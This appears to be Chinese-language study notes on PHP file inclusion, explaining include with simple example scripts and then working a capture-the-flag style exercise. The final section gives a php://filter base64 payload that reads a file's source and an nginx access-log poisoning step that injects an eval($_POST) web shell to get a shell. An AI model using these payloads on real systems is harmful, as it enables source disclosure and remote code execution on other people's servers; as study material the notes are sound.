文件包含
概念
在一个PHP脚本中,去将另外一个文件(PHP)包含进来,去合作完成一件事情。
作用
要么使用被包含文件中的内容,实现代码的共享(重用):向上包含(索要)向上包含:在当前脚本要用某个代码之前包含别的文件
要么自己有东西可以给别的文件使用,实现代码的共享(重用):向下包含(给予)向下包含:在自己有某个东西的时候,需要别的脚本来显示(自己代码写完之后包含其他文件)
最大的作用:分工协作,每个脚本做的事情不一样,因此可以使用协作方式,让多个脚本共同完成一件事情。
形式
向上包含
先包含文件,后使用文件中的内容
被包含文件代码
<h3>文件包含——被包含文件</h3>
<?php
header("Content-type:text/html;charset=gbk");
$a = 2;$b = 4;
define("xiaofeng",'cool');
包含文件代码
<h3>文件包含——包含文件</h3>
<?php
header("Content-type:text/html;charset=gbk");
include "56.php";//包含文件56.php
echo $a,"<hr>",$b,"<hr>",xiaofeng;
向下包含
先准备内容,然后包含另外文件,在另外的文件中,使用当前的内容。
被包含文件代码
<h3>文件包含——被包含文件</h3>
<?php
header("Content-type:text/html;charset=gbk");
echo $a,"<hr>",$b,"<hr>",xiaofeng;//输出数据
包含文件代码
<h3>文件包含——包含文件</h3>
<?php
header("Content-type:text/html;charset=gbk");
$a = 2;$b = 4;
define("xiaofeng",'cool');//定义数据
include_once '59.php';//包含数据为了显示以上的内容
题目
看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
nginx
包含日志文件 进行getshell 日志文件路径:
?file=/var/log/nginx/access.log
<?php echo 123;phpinfo();eval($_POST[0]);?>